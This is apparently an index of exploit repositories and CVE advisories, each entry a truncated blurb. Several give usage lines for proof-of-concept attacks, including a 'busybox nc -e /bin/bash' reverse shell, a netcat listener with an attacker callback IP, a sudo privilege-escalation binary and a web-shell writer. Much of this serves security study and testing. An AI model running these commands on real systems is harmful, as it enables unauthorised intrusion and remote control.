Penetration-Testing-on-Metasploitable2

Internship Project 2 — Penetration Testing on Metasploitable2 Summary: This project demonstrates a complete penetration testing workflow: reconnaissance, enumeration, exploitation, post-exploitation validation, and mitigation recommendations. The target used is Metasploitable2 and the attack box ...

CVE-2025-32463-Chwoot-POC

CVE-2025-32463 Sudo EoP Exploit PoC Rust Using Prebuild Binary 1. Clone the repository and run the binary in the target machine. git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git cd CVE-2025-32463-Chwoot-POC ./exploit Build From Source 1. Clone the repository if not done...

drupalgeddon2-cli

drupalgeddon2-cli A command-line rewrite of the Drupalgeddon2 CVE-2018-7600 proof-of-concept, built as a study exercise while working through the Hack The Box Academy Attacking Common Applications module. !WARNING For authorised security testing and education only. Running this against systems yo...

CVE-2025-22457

PoC for CVE-2025-22457 A remote unauthenticated stack based buffer overflow affecting Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure, and ZTA Gateways Overview This is a proof of concept exploit to demonstrate exploitation of CVE-2025-22457. For a complete technical analysis of...

CVE-2025-24893

Reverse shell for CVE-2025-24893 python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" upgrade the shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2026-102828

simple-git, an interface for running git commands in any node.js application, enables applications to execute Git operations from JavaScript. From 3.15.0 until 4.0.1, the default blockUnsafeOperationsPlugin does not classify trailer..cmd as unsafe configuration. An application that passes...

PDFkit-CMD-Injection-CVE-2022-25765

PDFkit-CMD-Injection CVE-2022-25765 Exploit for CVE-2022-25765 command injection in pdfkit 0.8.6 See more details about the vulnerability here PoC Run the netcat on your host: $ nc -lvnp 1337 Run the exploit example: $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337 Input target...

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

POC exploit for Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

CVE-2026-102828

The simple-git library, a Node.js interface for Git commands, is vulnerable to arbitrary command execution in versions 3.15.0 through 4.0.1 . The root cause is that the default blockUnsafeOperationsPlugin fails to classify trailer..cmd as an unsafe configuration. An attacker providing controlled ...

CVE-2026-102828 simple-git unsafe-operation guard does not block trailer command configuration

simple-git, an interface for running git commands in any node.js application, enables applications to execute Git operations from JavaScript. From 3.15.0 until 4.0.1, the default blockUnsafeOperationsPlugin does not classify trailer..cmd as unsafe configuration. An application that passes...

CVE-2026-102828 simple-git unsafe-operation guard does not block trailer command configuration

simple-git, an interface for running git commands in any node.js application, enables applications to execute Git operations from JavaScript. From 3.15.0 until 4.0.1, the default blockUnsafeOperationsPlugin does not classify trailer..cmd as unsafe configuration. An application that passes...

EUVD-2026-89334

simple-git, an interface for running git commands in any node.js application, enables applications to execute Git operations from JavaScript. From 3.15.0 until 4.0.1, the default blockUnsafeOperationsPlugin does not classify trailer..cmd as unsafe configuration. An application that passes...

CVE-2026-102828 simple-git unsafe-operation guard does not block trailer command configuration

simple-git, an interface for running git commands in any node.js application, enables applications to execute Git operations from JavaScript. From 3.15.0 until 4.0.1, the default blockUnsafeOperationsPlugin does not classify trailer..cmd as unsafe configuration. An application that passes...

CVE-2015-4852

CVE-2015-4852 Prerequisite: Place ysoserial.jar in the script directory rename ysoserial-0.jar to ysoserial.jar. It is best to run this script on Kali Linux. 1. Usage: root@kali: python3 CVE-2015-4852.py -h Usage: python CVE-2015-4852.py -t/--target 1.1.1.1 7001 Options: -h, --help show this help...

CVE-2025-6019_Exploit

CVE-2025-6019Exploit Step 1: Run 1.sh on a Linux device to build xfs.image Step 2: Transfer xfs.image to the target device and execute 2.sh. Success is indicated as shown below: neko@aosc-neko205 tmp $ bash 2.sh 当前用户: neko uid=1000neko gid=1001neko...

CVE-2026-102808

PX4 Autopilot through 1.17.0 contains a NULL pointer dereference vulnerability in the sdstress command where the -b byte count parameter is parsed without validation before being passed to malloc and memset. Attackers with shell access, including through MAVLink, can supply invalid byte count...

CVE-2021-3156

CVE-2021-3156 In this document we include all the knowledge necessary in order to understand the code in this repository and why it works. All the explaination is based on the report created by QUALYS. There more forms of exploitation are explained. Requirements The vulnerable versions of sudo ar...

ApacheSolrRCE

Project Statement For information security teaching and communication only. Do not use for illegal testing or attacks. ApacheSolrRCE ApacheSolrRCE CVE-2019-0193 one-click write shell, the principle is to write a web shell through code execution of Java file stream. Note: The author is not very...

OPENSUSE-SU-2026:21976-1 Security update for gnome-shell

This update for gnome-shell fixes the following issue: - CVE-2026-91786: missing dimension validation when processing icons from a remote search provider via D-Bus can lead to an out-of-bounds read bsc1280619...

CVE-2017-8809_MediaWiki_RFD

CVE-2017-8809 - RFDReflected File Download for MediaWiki A remote user can create a specially crafted URL for the target site that, when loaded by the target user, will cause the 'api.php' script to download a file containing shell commands CVE-2017-8809. The file will be served by the target sit...